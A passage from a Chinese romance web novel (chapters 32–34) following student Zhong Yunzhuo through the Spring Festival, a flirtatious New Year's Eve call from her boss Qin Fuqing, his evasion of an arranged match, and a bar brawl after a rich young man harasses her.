窗外的车流往来不息,人声鼎沸,车内寂然无声,落针可闻。 秦拂清眼眸微动,开口的瞬间,声线已变得沉哑:“不敢,我那一屋子古物的确是天价,但钟小姐在我心里是无价之宝。” 作者有话说:评论区掉落红包~ 第32章 期末考试成绩出来了, 算下平均分能到九十,比钟缊酌预想得还要好。 保持这个成绩申请留学应该没什么问题,现在除了雅思,最大的难处就是留学费用。 寒假很快到来, 古玩馆那边也暂时关闭了, 钟缊酌现在每天除了刷题, 就是期盼着父母能早点儿回来。 临近春节的前一周,钟启明和叶锦裹着一身簌簌寒潮进了家门。 钟缊酌也不再急着做题,把书本往抽屉里一塞,追着两人屁股后面跑,一会儿端茶倒水一会儿捶背的, 叶锦拉过她的手说:“闺女,这段时间让你受苦了, 等过些年我们赚够钱回来,一定加倍补偿你。” 钟缊酌摇头, 一双杏眼水盈盈地,像是初春禾田里的晨露, “我不需要补偿, 我只想我们一家人能好好地过日子。” 晚上饭桌前,钟启明说起今年该轮到咱家接缊酌爷爷奶奶回来过年的事儿。 钟缊酌的姥姥姥爷是在前年过世的, 而每逢春节, 爷爷奶奶就由几个儿女轮番接到家里过年。 叶锦剥开一只虾, 放到钟缊酌碗里, “我记着呢, 除夕那天你把二老接过来,我在家里准备饭菜。” 父母回来后,各自忙叨着联系亲朋好友, 平时和这些亲戚几乎不来往,过年还是要走动一下的。 偶尔抽出空,他们也会陪钟缊酌去看看电影,逛逛商场,却从来没提过生意上的情况。 有很多次,钟缊酌都想问问,如果她要去留学,家里能给她资助多少。 可嘴巴张了又张,那些俗气的话就是说不出口。 除夕那天一早,天空飘起了皑皑白雪,雪花不大,落在地上便很快化开了去。 吃完午饭,钟启明开车去往郊区接老人,叶锦在书房整理相册,让钟缊酌去睡一会儿。 钟缊酌在卧室待了没两分钟,就跑回来说:“妈,我不困。” “不困跟我收拾相册吧。” 叶锦指着照片里那梳着两对麦穗辫的小姑娘,自言自语道,“瞧瞧我闺女,从小就这么招人稀罕,亮晶晶的眼睛,樱桃小嘴,还有这浑然天成的弯眉,笑得可真好看” “妈——”钟缊酌终于按耐不住,毫无预兆地喊出一声,“我毕业后想去英国留学。” 听到闺女的倾诉,书架下的叶锦背过身,在钟缊酌看不到的地方,轻轻叹了口气。 她把相册简单规整好,然后拉了把椅子,拍了拍,“过来坐吧。” “是不是这几天一直想讲这个事来着?” 钟缊酌不好意思地点点头,“嗯。” 叶锦语重心长道:“英国留学不便宜,妈知道你有心仪的学校,我们闭口不谈,是怕你失望。但你放心,在毕业之前,我们一定想办法把钱凑够,你现在只要好好学习,别的不要乱想,明白吗?” 钟缊酌眼泪在眼眶里打转,忍了半天最后还是没兜住,顺着脸颊流到嘴边。 她拿手背擦了又擦,心想,不然这件事就算了吧,动辄百万的留学费用,根本就不是一个刚破产的家庭能拿得出来的,“妈,其实我考国内的学校也行,不是非要去留学” “别说这种话。”叶锦拿纸巾给她擦完眼泪,摸着她的头说,“一开始定好了目标,中途再换掉,你以后一定会后悔。” “可是” “别可是了,你不睡觉,就回屋学习去。” 钟缊酌吸着鼻子回到卧室,既没睡觉,也没学习,趴在写字台上发了半天呆。 窗外已白茫茫一片,一颗国槐摇起满身的金黄叶子,在雪中翩翩起舞。 等到下午,爷爷奶奶进了家门,她才收拾起心情,把笑容重新挂到脸上。 邓文见到自己的孙女,直感叹许久不见,孩子又长高了。 钟启明笑说:“多大了还长个儿,是您老花眼又严重了。” 钟缊酌给爷爷奶奶泡茶,说自己做兼职之后,手艺有了很大进步,一定要他们品鉴一下。 钟鸿表示不解,“还有专门给人泡茶的兼职?” “不是啦,这个说来话长,您先尝尝味道怎么样。” 钟鸿喝了几十年的茶,什么世面没见过,这会儿喝着孙女亲自泡的茶叶,难得露出赞赏的表情:“还真不错,缊酌,以后有没有考虑过开个茶馆儿?” 钟启明一摆手,“您又瞎胡闹,读这么多年书出来就开茶馆啊,那都是有钱没处烧才干的事儿。” 眼看快到四点了,父母收拾收拾便去厨房准备晚饭,钟缊酌就陪着爷爷奶奶在客厅里聊天看电视。 邓文戴上老花镜,从小包里哆哆嗦嗦掏出一枚红色吊坠来,南红玛瑙材质的玉,质地细腻,色泽鲜艳。 “缊酌,这是你太奶奶给我留下的,还一直没舍得戴,红色寓意着爱情,希望你将来能有个好姻缘。” 钟缊酌喉咙里哽了一下,“奶奶” 邓文轻叹着,“奶奶年岁大了,不知什么时候就离开了,真想在走之前看看你穿婚纱的样子。” 钟缊酌认真听奶奶讲完话,然后小心将吊坠收在手里,挽起她的胳膊说:“奶奶,您的心意我收下了,但是以后千万别再说这些话,您和爷爷都会长命百岁的。” 六点一过,朋友们的除夕祝福陆陆续续蹦了出来。 有些一看就是群发,钟缊酌也客气地回了些官方的话术,再往下拉,看到吴少维那条,带了她的名字,应该是单独发来的。 钟缊酌想了想,编辑了一段长祝福,给他发了过去。 吴少维立刻回了个笑脸过来。 然后,钟缊酌又翻回去,给宋黎若和涂敬舟分别发了祝福语。 这俩人,每次除夕都不怎么主动,大年初一才开始狂发。 涂敬舟给她回的是,[岁岁无虞,长安常乐]。而宋黎若给她回了一条视频。 钟缊酌点开,烟花和红灯笼元素的背景里,配上了几条人生格言,最后是[除夕快乐,年年发财]。 她扬起唇角:【哪儿找来的?好有年代感呀。】 不一会儿,宋黎若发来一个震怒的表情:【我自己做的!/抓狂/】 【真的有那么俗气嘛?】 钟缊酌笑了半天,控制着手在屏幕上打字:【没有没有,我的意思是审美很高级,很传统的中式风格/憨笑/】 宋黎若:【花言巧语,油嘴滑舌。】 看到这几个字时,钟缊酌心里莫名咯噔了一下。 这段时间,已经不是第一次有人这么评价她了。 她到底是不是油嘴滑舌,钟缊酌不知道,只是想起那天在车里的情景时,浑身又开始燥热起来。 钟缊酌是没有想到秦拂清会以那样的方式给她道歉。 她明明只是想要一句,对不起,先前是我口误,以后不会再说这样的话了。 一句简单的致歉和许诺而已。 钟缊酌甚至觉得他应该会凶她一顿来着,说她没有自知之明。 心里那股悸动只冒出不过几秒,便又被理智压了下去。 人家只不过说了些好听的话,自己就开始心潮澎湃上了,真没出息。 她平复下这突如其来的燥火,摸了摸手机,在想要不要给秦拂清也发条祝福语。 他是她的老板,也帮过她那么多次,于情于理,都应该问候一声。 下定决心之后,钟缊酌开始从网上查找一些高级词汇,给领导发祝词,可不能怠慢。 最后,她选了一句,“愿除旧妄生新意,端与新年日日新。” 钟缊酌刚点完发送键,母亲就把她喊去洗水果。 春节晚会还有一小时开始,电视已经被调到了央视一台准备着。 钟缊酌把几盘子水果放到茶几上,正好手机屏幕亮起。 她点开,看到秦拂清给她回的消息,只有三个字:【真老套。】 钟缊酌不服气,这哪里老套呀,明明很有新意,她没直接发个“身体健康,万事如意”就不错了! 她想要再解释一下,手指刚敲出一个字,那边直接打了语音电话过来。 铃声响起的一瞬间,钟缊酌差点儿被吓死。 这会儿大人们都聚在客厅,钟缊酌赶紧攥着手机往厨房跑,叶锦在后面喊:“你干嘛去?” “接个电话,你们先吃!” 等周围彻底安静下来,钟缊酌大脑一片混乱,不知他要干什么,总不能特意打电话来批评她一顿吧? 她满心忐忑地点开红色按钮,干巴巴道了句:“秦总,新年好。” 对面的秦拂清听到后,忍不住笑起来,那声音低低地,莫名带着点儿性感:“这回不念你那句祝福语了?” 像是一道电流骤然穿过大脑,让人头皮发麻。 钟缊酌心头一紧,使劲儿把那股心慌意乱往下压,指甲不断扣着手机边,一本正经道:“我是觉得您是个文化人,不敢随便糊弄您呀。” 秦拂清说:“可我是个年轻的文化人。” 他还刻意加了年轻俩字,是真怕她觉得他有多老。 老板非要较这个劲,钟缊酌也不得不投降,她发誓,以后再也不装有文化了。 “那秦总,我重新给您说,愿您诸事顺遂,鹏程万里。” 很简单的一句有关事业的祝福语,必定是他最乐意听的。 秦拂清对此并未评价,开始随意扯些别的话题。 比如,家里都有谁在,晚饭吃了几个饺子,新年有什么愿望云云。 “我的愿望啊,希望所有考试都能顺利通过吧。” 聊这么一会儿,钟缊酌的心情也逐渐放松下来,不再紧绷着神经了,她大着胆子问,“那您呢?您有什么新年愿望。” 秦拂清没立即回答,他那边的背景音一直很安静,这时候忽然传来一阵咕咚咕咚水烧开的声音。 钟缊酌想,他应该和家人在一起吧?不知他们这样的人会怎样跨年,也会坐在一起看春晚聊天吗? “你猜猜。”秦拂清说。 钟缊酌转动着脑筋,弱弱道出一句:“国泰民安?” 秦拂清没忍住笑,差点儿把手中的茶杯摔出去,他咳嗽一声:“就这么喜欢给我戴高帽子啊。” 秦拂清将那盛满热茶的瓷杯放到茶几上,透过一层朦胧雾气,脑子里全是小姑娘那纤细柔白的手腕,仿佛就这么在他眼前轻轻摇晃着。 他眸色渐深:“我就不能有一点儿正常人的七情六欲。” “我不是这个意思” 秦拂清望向窗外,思绪在黑夜里漫天游荡,他站起身,走到阳台,压了压声音,“身边有人吗?” “没有。”钟缊酌有点懵。 “那是在卧室还是厨房?” “厨房” “嗯。”秦拂清说,“那走到窗边来。” 钟缊酌猜不透秦拂清到底什么意思,只是照着他的话去做了。 外面的雪已经停了,在玻璃上结着一层薄霜。透过隆冬的夜,钟缊酌便看到对面的阳台上,正站着一个身高腿长的人,一手举着什么东西,另一只手在冲她挥手 刹那间,钟缊酌突然反应过来,那个人就是秦拂清。 所以秦拂清竟然是在大院这边?他没回父母那儿? 这时男人那清润的嗓音在手机里响起:“能看到我吗?” “能、能的。”钟缊酌被惊得说话都结巴了,“秦总,你没回家啊?” “当然要回了,不然明天他们就得在我后背刻个逆子俩字。”秦拂清笑说,“我来拿点东西,一会儿就走了。” “这样啊,那确实很可怜。”钟缊酌咬着嘴唇憋笑,实在没想到秦拂清会和她开这样的玩笑。 她看到秦拂清好像用手指在玻璃上划拉着什么东西,好奇问:“秦总,您在画什么呀?” “我在写字。”秦拂清说,“能看得清吗?” 若是在白天,钟缊酌或许还能看出个一二三来,可现在黑漆漆的一片,什么都看不到。 “太黑了呀,看不清楚。” “那我拍给你。” 几秒后,钟缊酌收到了一张照片。 是借着一层薄霜,勾勒出潇洒俊逸的几个大字:所求皆如愿,所行皆坦途 钟缊酌心神波荡,目光灼灼,好大气澎湃的一句话。 “所以,这便是您的愿望吗?”她轻声问。 “不,这是送你的。”秦拂清勾起唇角,“再往前面看看。” 方才没注意到,在这行字的上面,竟然还藏着几个小字。 她认真辨认,不自觉读了出来:“愿缊酌在新的一年——” 那一刻,钟缊酌的脑袋里仿佛有什么东西炸开。 她呼吸又开始乱了,手机都拿不稳,声音细如游丝,“谢谢秦总。” “嗯,我差不多该走了。”秦拂清声音温和地和她告别,“除夕快乐,新年快乐,缊酌。” “除夕快乐,新年快乐。”她喃喃重复着这句话。 在电话挂掉之前,又追着补上一句,“秦总,路上小心。” 随着“叮咚”一声,屏幕重新跳到了聊天界面,周围也跟着恢复了寂静。 而钟缊酌的心却久久未能平静下来。 作者有话说:评论区掉落红包~ 第33章 昨天忽来的小雪, 给胡同短暂披上了一层洁白无瑕的银装。 秦拂清站在正房门口,指着房檐上的积雪问:“伍姨,这里一直没人清理吗?” 伍钰闻声,赶紧放下手里的燕窝粥, 迈着小碎步走过来:“老爷说了, 先不用管上面, 过些天它自己就能化掉。” 秦拂清点头,要知道以前秦政庭可不会如此佛系,下完雪,所有犄角旮旯都要清理一遍。越是年岁大,对环境要求反而越淡泊了。 他在想, 什么时候父亲也能对待他随性一点。 伍钰观察着秦拂清的脸色,心中敲鼓, 还是忍不住在旁边小声提醒一句:“先生,别忘记老爷还在书房等着呢” “我记得。” 秦拂清淡淡收回视线, 雪后的空气格外冷冽,就这么站了一会儿, 耳朵都被冻得发红, 他叮嘱,“您也进去吧, 外面凉, 容易感冒。” 说完, 秦拂清抄起大衣口袋, 转身拐进了那道垂花门。 秦政庭在书房练习书法, 他写的是隶书,字形呈宽扁状,左右分展, 末端笔画非常夸张,瞧着既端庄,又有气势。 在写到“直上青天揽明月”这一句时,秦拂清推开门,脚步轻缓地走了进来。 见父亲没有停笔的意思,他自个儿往窗户旁的沙发上一坐,给秦政庭留了把太师椅。 “你倒是挺从容,知道我找你什么事儿吗?” 秦政庭写完最后一笔,掀起那双犀利锋锐的眼睛,一动不动注视着他。 “知道。”秦拂清面不改色地笑了笑。 昨晚年夜饭没提的,今天必然逃不过去。 家里人对他的期许,无非就那两件事,成家,立业。 立业的事平时一直在盯着做,剩下的也就是成家了。 秦政庭在陶瓷盆里洗了把手,擦干后,往太师椅上一靠。 “我已经联系过霍总,她闺女这几天休假在家,你抽空去看看。” 秦拂清微微挑眉,“您说的霍总是瑞丰的董事长?” “是,你和那霍小姐以前也见过,这次好好聊聊,记得收起你那工作中的脾气,别怠慢了人家。” 知道父亲定会给他挑个名门千金来联姻,但万万没想到他会选中那霍家小姐。 秦拂清短暂沉默一会儿,不动声色道:“为什么会是霍家。” “霍丰为人刚正,家风优良,霍小姐又是难得一美貌与智慧兼具的女子,配你不是正合适?”秦政庭慢条斯理地解释。 以上这一段冠冕堂皇的理由,秦拂清自然是一个字都不信的。 虽然霍家各方面条件确实不错,但绝不是父亲能接触到最顶级的那一个,这根本的缘由,怕是全在霍严纲身上。 秦拂清以为上次已经把话说得很明白,只是没想到霍老先生如此执着,非要撮合这门亲事。 “中治和瑞丰近期有项目合作,倘若我和霍家联姻,恐怕不妥。” 合作公司高层领导之间避讳结盟,这点秦政庭不可能不知道。 他脸色果然沉了下来,问:“谁在牵头这个项目?” “邹律。” 秦政庭思虑片刻,一挥手道,“不打紧,他做的不会是长期项目,实在不行,介时直接让霍丰停止合作不就好了。” 话以至此,秦拂清知道再怎么周旋下去也是无济于事。 秦政庭是铁了心要他和霍家结亲,看来这趟拜访是推不掉了 大年初五的一早,秦拂清独自开着车,去往紫玉山庄。 怕影响不好,他只随身带了几瓶茅台酒。穿过中央公园,绕过一条人工生态湖,来到别墅楼下。 恰好赶上今日霍丰不在家,是卢杳迎他进的门。 卢杳算是竭尽了女主人的身份,招待他坐下后,又叫来陈姨,“阿姨,麻烦沏壶茶,再把那枸杞乌鸡汤端来。” “先喝口汤,驱寒。”她说。 秦拂清没客气,道声谢,端起来喝了几大口。 他擦完嘴,面带笑容地开始念台词:“家父今日托我拜访霍总和霍小姐,未料到霍总外出,我小坐一会儿便打道回府,多有打扰,请见谅。” 霍苡琳穿一件黑色修身连衣裙,将头发高高挽起,一副端庄优雅地姿态坐在秦拂清对面。 她听到这段毫无感情的开场白,心里多少有些不是滋味儿。 霍苡琳抿起嘴,假装什么都没发生,起身给他倒了杯茶,“拂清,好久没见了,近期还好吗?” 听到这个称呼,秦拂清微不可察地蹙了下眉。 他没喝那杯茶,依旧保持礼貌地微笑,轻声说:“工作很忙,其它没什么。” 两人几乎是以一问一答的形式完成了这段对话。应付得的痕迹太过明显,就连卢杳都听出了男人语气中的敷衍。 霍苡琳不再开口时,秦拂清抛出了个问题:“我听说霍老先生这几日回来过年了,请问他是否在家?” 卢杳略微迟疑地点点头,“在,他还没睡醒,你找他有事?” “确实是有些事需要请教霍老,我方便去屋里看看他吗?” 卢杳心中愕然,按理说这秦家公子不是不懂规矩之人,竟然主动提出这种冒犯的请求。 不过老先生和他也算是旧识,想必他不会介意。 “好的,陈姨,麻烦你给秦公子带路。” 秦拂清微微点头致谢,便跟着陈姨进了最里面的一间卧室。 屋里弥漫着一股清淡的沉香味儿,当房间里只剩两个人时,秦拂清轻轻咳嗽一声,“霍老先生,该起床了。” 半响没动静,他又补充一句,“我知道您已经醒了,霍老向来没有睡懒觉的习惯,对不对?” 好一会儿后,霍严纲终于翻了翻身子,半阖着眼,嘴里嘟囔着:“你这小崽子,真够烦人的。” “还不是因为您又来背刺我?”秦拂清失笑道。 “诶,可别瞎说,这件事可跟我没半点儿关系。” “跟您没关系,那您躲着我做什么?” 像是被戳中了某些敏感的神经,霍严纲悠地坐了起来,“我躲着你?就知道你小子全得赖在我身上,我这是懒得搭理而已。” 秦拂清没再言语,就这么静静地看着这位老先生。 他对他的话半信半疑,与其继续争辩,不如等着他来自己解释。 “是霍丰去找了你老爹,也不知他使了什么法子让秦政庭同意的。”霍严纲嗤笑道,“你也只会来欺负我这个老头子了,敢去质问霍丰吗?” “您这是说的哪里话。”秦拂清眉眼含笑,“我是懂霍老性情直爽,刀子嘴豆腐心罢了。” 霍严纲没把秦拂清的恭维放进耳中,盘着腿,两手撑住膝盖,“那我想听句实话,敢问秦总是否已经有了心上人?” 秦拂清倒是未料到他会知晓这件事。 默了半天,直到霍严纲挺明事理地叹口气说:“我明白了,既然如此,我们琳琳就算和你在一起也不会开心,这件事我去和霍丰说。” “但我不保证能劝服他。”霍严纲补充道。 “那就有劳霍老。”秦拂清顿时卸掉一口气,刚要再说上几句客套话,霍严纲就开始下逐客令,“赶紧出去,我要休息。” “那我便恭敬不如从命了。” 秦拂清出来后,准备同母女俩告别,霍苡琳却冲他的背影喊道:“请等一下”。 只见她跑进自己的闺房,拿出一条上乘的沉香手串,“拂清,这是我年前从庙里求来的,你拿着吧,能保佑平安顺遂。” “多谢霍小姐美意,但我没有戴手串的习惯,还是留给有缘人吧。” 撂下这句话,秦拂清便向两人辞别,迈着步子往外走。 待人离开后,卢杳回身瞪了女儿一眼:“你看看你,一点儿女孩子的矜持样都没有,上赶着被人拒!” 她怒声斥责,“这要传出去,以后我们霍家的脸面往哪儿搁!”- 趁着假期,宋黎若约上钟缊酌和涂敬舟,来到一家清吧小聚。 挺文艺的一家酒吧,偏暖调的古铜色墙壁上,用彩灯和壁画做了装饰,天花板上铺满了五颜六色的仿真蝴蝶,伴随着舒缓的音乐声颤动着翅膀,仿佛在翩翩起舞。 钟缊酌看着那墙壁发呆时,服务员端来了刚点好的三杯鸡尾酒。 酒杯的外观也是大有名堂,有的缀满闪亮的水晶珠串,有的配上梦幻的蝴蝶装饰,就像一件精美的工艺品。 “这家老板可真有品。”钟缊酌忍不住赞叹道。 涂敬舟的帽子落在了吧台,他起身去拿,这时候宋黎若悄声对钟缊酌说:“这是傅沅宗投资的酒吧。” “啊?”钟缊酌吃了一惊,“你怎么知道?” “所以你觉得我为什么带你们来这家。”宋黎若悠悠道,“是傅沅宗让我照顾他的生意。” “他什么时候跟你说的?” “就去温泉度假村那次。”宋黎若有点儿心虚地提醒,“但是千万别告诉敬舟,他估计不怎么愿意照顾傅沅宗的生意。” “嗐,我当然不会跟他说,我又不傻。” 两人聊悄悄话的功夫,隔壁原本的空位上,不知何时坐了三个男生。 其中一位的装扮很是惹眼,酒红色的夹克衫,戴一条银色项链,头发也挑染成了银白色,活像动漫里走出来的人物。 钟缊酌小口啜着那杯帕洛玛,目光扫向吧台,却未见涂敬舟的身影。 难道是去卫生间了吗? 她视线乱蹿的时候,恰好和那位潮男对上了一眼,钟缊酌内心毫无波澜地移开。 不料,男生却突然扯唇笑了一下。 钟缊酌眼见他两手抄着裤兜,懒懒起身,走到这一桌,兀自坐在了她的对面,“这位小姐,怎么称呼?” 还没等钟缊酌有所反应,旁边的宋黎若已经开始不满:“你谁啊——” 虽然他没说什么过分的话,但这副吊儿郎当的态度,让人不自觉心生厌恶,看着就不像什么正经人。 蒋易凛饶是未料到会有人先质疑上他,也很不爽地回怼一句:“我没问你吧?你是她经纪人?” 宋黎若刚要发飙,被钟缊酌及时按住,她语气极为冷淡地开口:“这位先生,我不认识你,也没有理由回答你的问题,请你离开。” “长得漂亮就这么狂啊。”蒋易凛翘起二郎腿,笑容里透着些不正经,“知道我是谁吗?” “我没兴趣了解你是谁,如果你再胡搅蛮缠,我们会报警处理。”钟缊酌依旧冷言冷语。 “刚才还背后偷看我,这会儿就翻脸不认人了?”蒋易凛把脸往前凑了凑,“装什么清纯小白花呢,嗯?” “你有病吧——”宋黎若站起来,指着那人鼻子说,“有病就去治,别在这里发癫!” 钟缊酌不想把事情闹大,遇见个疯子,也没必要跟他一般见识,她拉过宋黎若,“走吧走吧,这里晦气,换个地方待。” 哪知蒋易凛并不打算放过她,往前一迈横在两人面前,“说走就走?把我当成什么了?告诉你们,放眼瞧去,这一块地界还没人敢惹我。” 钟缊酌嘴里无声吐出“神经”两个字,无视蒋易凛的猖狂,绕过他继续往外走。 这下蒋易凛彻底怒了,平时那些女孩子香甜软语的,各个围在他旁边说好听的话,哪里受过这样的气。 他直接拽住了钟缊酌的胳膊,“今儿不告诉我你名字,休想走!” 刚抽完烟回来的涂敬舟,恰好看见了这混乱的一幕。 钟缊酌使劲儿抽出手臂,怒视着男生,宋黎若嘴里不知在骂什么。 看这架势,八成遇到了流氓,涂敬舟脑门顿时热血翻涌。 他大步流星地走过来,一把推开蒋易凛,将另外两人护在身后:“把你的脏手拿开,有多远滚多远!” 刚刚蒋易凛站起来时,和他一同来的另外两个男生就开始停下聊天,注意着这边的动向。 这会儿看到竟有人敢对蒋哥动手,也顾不得体面了,冲涂敬舟背后就招呼了一拳。 涂敬舟吃了痛,回身踹了那人一脚,同时蒋易凛的拳头也飞到眼前,他一手挡住,另一手扣住他脖颈,两人迅速扭打在一起。 “有人打架啦!”人群中有人喊一声。 前前后后不过几秒的功夫,钟缊酌和宋黎若甚至还没反应过来,就被冲进来的保安撞开。涂敬舟被三人压在下面,保安费了好大力气才将他拉起来。 他脸上已经青一块紫一块的了,喘着粗气挣开保安。 蒋易凛也没好到哪儿去,脖子上有一道长长的口子,应该是拿指甲划的,眉骨,鼻头也都破了皮。 “妈的!老子要是毁容,跟你没完!” 看热闹的人越来越多,加上老板也过来劝,蒋易凛也不好再纠缠。 最后他撂下一句:“给我等着!有种别出京城,早晚弄死你!” 钟缊酌和宋黎若一左一右架着涂敬舟,事态发展到这个地步,两位姑娘多少受到点惊吓。 钟缊酌忧心仲仲地看着他脸上的伤,内心愧疚不已,“我们先送你去医院,其它的事回头再商讨。” 涂敬舟蹭了下唇角的血,点头说,“好。” 另一边,知晓蒋易凛身份的酒吧老板费罗,此刻更是焦躁不安。 这位蒋公子家里人可是在京城当大官的,如今在他的店里被打成这样,那还不等着关门呢。 费罗心下一横,不得不拨通了那位先生的电话。 “傅先生,真抱歉这个时间打扰您,但我真没别的法子了,店里出了大事。” 紧接着他把刚刚发生的事情又简单叙述了一遍。 费罗听见傅沅宗“嘶”了声,显然连他也有些头疼。 “蒋易凛肯定会回来找你看录像。” “那我直接给他,他会放过我吗?” “先发给我吧。” 傅沅宗还没怂到面对恶势力就要随意出卖客人隐私的地步,他想再看看当时的情况,到底是谁先动的手。 结果这一看不要紧,一口水差点儿没喷出来,全是一张张熟面孔。 傅沅宗那会儿想跟宋黎若拉近关系,随便客套一句,让多来照顾他生意,都忘记这茬儿了。 他拿起手机,“得,对面几位都是我朋友,咱没路选了。” 费罗:“那您自己顶着?” 傅沅宗似笑非笑道:“倒也不必,既然那姑娘也在,我可以呼叫另一位大仙儿来救场。” 作者有话说:评论区掉落红包~ 第34章 同仁医院西区二层的病房内, 涂敬舟刚做完全身检查,他的大部分伤势都是外伤,唯独胸口那一块,被压得有轻微骨折。 医生要求住院一周, 給他的胸部打了一层石膏, 又开了一堆的消炎药, 有吃的也有抹的,全是用在脸上的。 钟缊酌主动承担起助手的职责,帮他往脸上涂药。 她不好当面说些致歉的话,显得生分,涂敬舟也不乐意听她说这些。 但这件事到底是由她而起, 即便不是她的错,可涂敬舟又有什么错呢? 钟缊酌认认真真地上着药, 不说话,但心事全部写在了脸上。 好好的一张秀丽脸蛋儿, 瞧着有多苦大仇深似的。 涂敬舟绷不住了,差点儿笑出声来, 他反过来安慰起她:“男子汉受点儿皮肉之苦算什么, 况且我这会儿一点都不疼了,真的。” “可是你刚刚一定很疼, 被三个人围殴, 我快被吓死了” 涂敬舟说:“你换个角度想, 我一个人能打三个, 是不是证明我特英勇。” 宋黎若也在一旁拍手附和:“说得对, 我今天佩服死你了,敬舟哥,我给你点赞。” “嗬, 这次肯喊我一声哥了?看来我这顿伤是没白挨。”涂敬舟打趣道。 钟缊酌的心底终于不再悬空着了,她勉强笑了下,开始给他涂嘴角的伤口,“先别说话,不然会涂进嘴里。” 如此亲密惹人臆想的一幕,得亏没被老秦看到,不然能气得他当场抽掉五根烟。 此刻正站在门口的傅沅宗想。 这间病房的门没关,但出于礼貌,傅沅宗还是轻轻叩了叩门。 “抱歉打扰一下。” 他径直走了进来,撂下一袋子水果在桌上,“怎么样,伤得严重吗?” 涂敬舟表情茫然,不知傅沅宗为何出现在这里,但另外两人很快反应过来。 “还好,只有胸口轻微骨折,剩下的都是外伤。”宋黎若表面云淡风轻,实际心里忐忑得够呛。 敬舟若是知道了她带他去的这间酒吧是傅沅宗投资的,会怎么想? “那就行。”傅沅宗自己拽了把椅子坐下,看这小子脸上那副表情,八成还不知道他为何而来。 他言简意赅地解释:“你们三个在我的酒吧出事,我自然脱不开责任。放心,蒋易凛那边有人打点,你安心养伤就成。” “那个白毛小子叫蒋易凛是吗?他什么来路啊这么狂。”宋黎若问。 “这个嘛。”傅沅宗摸了摸下巴,“他家里确实不简单,甚至连我都不一定能摆平。” “不过没关系,我们也是有靠山的。”他笑吟吟地说。 “什么靠山?” 傅沅宗没回答,钟缊酌的脑子里却已经有了答案。 只是这个靠山,敬舟不一定乐意接受。 自从傅沅宗踏进这间屋子,他就没说过一句话,神情一会儿一个变,想必是又气又无奈了。 “靠山解决完这件事,应该也会来一趟,到时你们就知道了。”傅沅宗看了眼时间,笑说,“我就不多打扰你们了,好好照顾他吧。” 说完,他便直接起身,大踏步离开了病房。 傅沅宗一走,屋内的气氛瞬间凝固下来。 钟缊酌给宋黎若使了个颜色,示意她主动开口道歉,毕竟真诚才是最好的必杀技。 “敬舟哥,对不起,其实我早就知道那间酒吧是傅沅宗投资的,我不该带你来,还害得你受伤”宋黎若耷拉着脑袋,眼睫一颤一颤的,一副凄凄惨惨的模样,看着就可怜。 涂敬舟偏过头,胸口本来就不舒服,这一下更憋得慌了。 好半天才干巴巴说一句:“净干这种蠢事。” 涂敬舟也是快气到失语了,这俩丫头没一个省心的,排着队坑他。 可他看着宋黎若那委屈的样子,又一想,算了,谁让他是哥哥呢。 涂敬舟没有兄弟姐妹,一直把她们两个当成亲妹妹看待的。 “好了好了,这事儿就当过去了,也不是多大的事,别让人觉得我欺负你了似的。” 宋黎若问:“你不生气了吗?” “不生气了,跟你俩气不起来。” 宋黎若一听立马弯起眼:“那我给你削个苹果吃。” 她欢欢快快地跑去拿苹果,钟缊酌也凑过来说:“我负责给敬舟哥洗葡萄吧。” 这时候倒是一个比一个嘴甜,涂敬舟无奈笑笑。 下午四点半,太阳快落山了,涂敬舟催促她们赶紧回家,说有护工和刘叔在这儿照顾就成。 两人磨蹭半天,正要告别时,傅沅宗口中的靠山就这样风尘仆仆地出现在了病房门口。 他穿着一件黑大衣,身姿落拓挺拔,头发整齐梳在了脑后,像是刚从单位赶过来。 毫无意外地,正是那个让涂敬舟一直记恨在心的男人。 这几人里面,钟缊酌算是和他最熟的了,她主动迎上去,喊了声:“秦总,您来了。” 秦拂清微微点头,也没有要进来的意思,只用公事公办地口吻通知:“蒋易凛那边我已经处理好了,你们不用再担心他会来找麻烦。” 其实在傅沅宗走之后,涂敬舟就隐约意识到了他说的人是谁,只是内心不敢面对。 他也让刘叔去查了那姓蒋的资料,的确不是他能惹得起的人物。 涂敬舟在这一刻,深深感受到有一个身居高位的爹是多么重要。 他甚至在想,倘若当初秦政庭没有拿到那份项目,现在坐在那个位置的,会不会就是他的父亲了。 眼下,涂敬舟需要秦拂清的帮助,却迈不过心中那道坎。 两个姑娘都向秦拂清道了谢,他端了半天,才不情不愿地吐出一句:“谢谢。” 秦拂清嗤了声:“太勉强的感谢我不需要,况且,我做这些也不是为了你。” 涂敬舟知道,倘若没有傅沅宗这层关系,他定不会帮他。 这话就像一记无形的耳光打在他脸上,涂敬舟咬了咬牙,偏头看向窗外。 秦拂清表完态之后,默默将目光移向旁边的女孩,凝视片刻,开口:“出来,跟你说几句话。” 尽管涂敬舟和秦拂清之间有矛盾,但钟缊酌是不好拒绝他的要求的。 她就在另外两人的注目下,迈着缓慢的步子,跟在秦拂清后面,来到了楼道尽头的那扇窗户边。 “有没有吓到?”他沉声问。 夕阳的余晖透过玻璃照在钟缊酌的脸上,像是染上了一层粉红胭脂,她抿着红润的嘴唇说:“没有。” “但涂敬舟是真的吓到我了。” 方才瞧见那小子的脸上贴了好几块纱布,不但没落魄样儿,反倒多了几分男子气概。 想起傅沅宗形容的话,好一场惊心动魄的英雄救美,秦拂清心里顿时翻上一股酸意。 他凉凉地撇下一句:“他皮糙肉厚的,挨顿打算得了什么。” 钟缊酌惊讶于他的直白,就算不待见人家,也不至于损成这样呀。 “但他是因为我,才遭受得这些所以我很愧疚。” 女孩耳边细碎的发丝被风吹得飘飘荡荡,也晃得男人心痒。 秦拂清定睛看着眼前的姑娘,心里在疯狂滋生着一个念头。 倘若今天受伤的,躺在病床上的那个人是他,她会有什么感受,也会愧疚吗?甚至会心疼他吗? 他看得太久,以至于忘了分寸。 钟缊酌不安地向后挪了半步,出声提醒:“秦总您在想什么?” “哦。”他回过神来,侧过身子,捏了捏太阳穴说,“在想今天发生的事,以后去酒吧那种鱼龙混杂的地方,多带点伴儿,注意安全。” 钟缊酌点头:“我很奇怪,我明明没有偷看那个人,只是恰好对上了一眼,他非说我偷看。” “这不是你的错。”秦拂清眼神暗了暗,“蒋易凛是蒋家最受宠的小儿子,被惯得没了教养,这样下去,早晚会吃大亏。” 钟缊酌对他的话似懂非懂,她想不了太多,只知道秦拂清又在百忙之中赶来替他们解难,便再次向他致谢:“秦总,还麻烦你跑来一趟,太过意不去了。” 秦拂清轻轻扯唇,嗓音平淡:“顺手的事,不麻烦。” “里面那小子什么时候出院?”他问。 “下周日两点左右。” “好。” 钟缊酌挺好奇他问这个干嘛,还没来得及开口询问,秦拂清已经挥手向她道别。 